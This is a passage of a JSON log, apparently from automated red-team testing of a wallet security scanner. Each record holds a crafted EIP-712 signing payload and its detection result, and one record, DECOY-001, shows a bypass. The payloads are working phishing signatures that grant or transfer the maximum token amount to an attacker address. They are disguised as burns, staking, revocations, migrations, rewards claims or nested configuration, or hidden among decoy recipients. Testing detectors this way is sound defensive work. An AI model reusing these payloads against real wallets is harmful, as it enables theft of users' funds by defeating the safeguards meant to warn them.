"payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T15:57:41.628Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T15:57:50.767Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": true } }, { "id": "DECOY-002", "timestamp": "2026-01-31T15:57:59.940Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T15:58:09.076Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T15:58:18.200Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T15:58:27.345Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T15:58:36.500Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T15:58:45.644Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T15:58:54.947Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "RUN2-EIP3009-022", "timestamp": "2026-01-31T15:59:04.086Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x701d80accabb1955f86ea494bdf1805940c231b804e4eb6bd8c92d2a5b6fd5b3\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN2-EIP3009-054", "timestamp": "2026-01-31T15:59:10.611Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xa1a2ba648551a8df9e112e1a3461ef6517f9ea655cf40884e2bf6268cdca9bd2\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Execution reverted with reason: ERC20: transfer amount exceeds balance.\n\nRaw Call Arguments:\n from: 0x027821c81bc29f8860e7a17ab759ed000c97f178\n to: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\n d" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T15:59:20.400Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T15:59:29.559Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T15:59:38.699Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T15:59:47.963Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T15:59:57.094Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T16:00:06.233Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T16:00:15.382Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T16:00:24.565Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", 